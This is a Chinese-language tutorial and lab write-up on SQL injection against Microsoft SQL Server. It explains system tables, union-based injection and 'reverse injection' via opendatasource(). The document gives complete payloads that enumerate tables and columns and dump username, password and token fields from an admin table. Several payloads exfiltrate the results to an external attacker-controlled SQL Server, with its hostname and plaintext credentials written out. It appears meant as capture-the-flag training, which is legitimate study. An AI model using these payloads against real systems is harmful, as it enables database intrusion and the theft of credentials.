MSSQL
MSSQL基础
MSSQL是指微软的SQLServer的数据库服务器
- 每个库都会自带有sysobjects表,其中有三个字段
- name 当前数据库下的所有表名
- id 相当于表名的标识
- xtype 字段 中 U 代表用户创建的表名,S代表系统创建的
- 每个库都会自带有syscolumns表,其中有两个字段
- name 每个表的字段名
- id 对应sysobjects表中id字段
反弹注入
原理
原理:将目标站点中查询到的数据结果 传到攻击者的数据库中
注入条件:网络通畅,攻击者需要有公网ip地址的数据库
所用函数:opendatasource()
将当前数据库查询的结果发送到另外一数据库服务器中
语法:opendatasource(provider_name,int_string)
公式:
insert into opendatasource(‘sqloledb’,’server=服务器地址,1433;
uid=用户名;pwd=密码;database=数据库名’).数据库名.dbo.表 SQL语句
条件
网络通常,攻击者需要有公网IP的数据库服务器地址
函数
opendatasource()
作用:将目标站点查询到的数据结果 传到攻击者的数据库中
用法:
opendatasource(‘sqloledb’,‘server=服务器地址,端口号;uid=用户名;pwd=密码;database=数据库名’)
反弹注入 步骤
- 需创建用于存放目标站点表名的表,字段有id,name
- 构造payload 存放 SQL语句查询到的id和name
';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;pwd=123456789;database=DB_14DBE69_zkaq').DB_14DBE69_zkaq.dbo.tb select id,name from sysobjects where xtype='U' -- q
- 创建用于存放目标站点表名的字段名的表,字段有id,name
- 构造payload
存放指定表中的字段名
';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;pwd=123456789;database=DB_14DBE69_zkaq').DB_14DBE69_zkaq.dbo.col select id,name from syscolumns where id=1977058079 -- q
- 根据查到的表名字段名 创建表和字段名
- 构造payload得到结果
';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;pwd=123456789;database=DB_14DBE69_zkaq').DB_14DBE69_zkaq.dbo.res select id,username,passwd,token from admin -- q
靶场(反弹注入)
1、创建数据表tb,将查询到的id,name存放在该表中
2、构造payload, 查询表名
‘;insert into opendatasource(‘sqloledb’,’server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;
pwd=123456789;database=DB_14DBE69_zkaq’).DB_14DBE69_zkaq.dbo.tb select id,name from sysobjects
where xtype=’U’ — q
返回正常
3、查看 tb表 是否有数据
4、创建存放admin表中字段的表 col
5、构造payload,查admin表的字段
‘;insert into opendatasource(‘sqloledb’,’server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;
pwd=123456789;database=DB_14DBE69_zkaq’).DB_14DBE69_zkaq.dbo.col select id,name from syscolumns
where id=1977058079 — q
页面返回正常
6、查看数据库中col表
7、得到admin表中字段:id、username、passwd、token
创建res表 用于存放admin表中字段信息
8、页面返回正常
9、查看res表,得到flag
使用显错注入
显错注入基础
- union 联合查询 去重
- union all 不去重 显示全部数据
- 除了MySQL数据库其他数据库查询内容要写全(select 字段 from 表名)
- MySQL在联合查询时对字段数有严格的规定,但是对字段类型规定比较淡
显错注入步骤
-
使用sysobjects表中name、id、xtype探测出用户创建了哪些表
’ union all select id,name,null from sysobjects where xtype=‘U’
-
使用syscolumns表探测指定表id的字段名
’ union all select id,name,‘b’ from syscolumns where id=表的id
-
使用selece 直接爆出数据
select 字段名 from 表名
靶场
1、进入靶场
2、1后加\进行探测
3、构造闭合 ‘ — q
4、使用order by 探测字段数
order by 4 报错
order by 3 正常
字段数为3
5、使用联合查询
加union all 试一试
6、猜测表名news
7、会不会是 数据类型不对呢,1,2,3全部改为null
8、猜测第一个null是int型,第二ge和第三个是字符型
9、通过sysobjects表的id、xtype和name 探测用户创建的表名
payload:
‘ union all select id,name,’b’ from sysobjects where xtype=’U’— q
10、探测admin表中的字段,通过syscolumns表中的id和name
payload:
‘ union all select id,name,’b’ from syscolumns where id=1977058079 — q
11、查看passwd和token字段数据
payload:
‘ union all select id,passwd,token from admin — q
12、得到flag,通过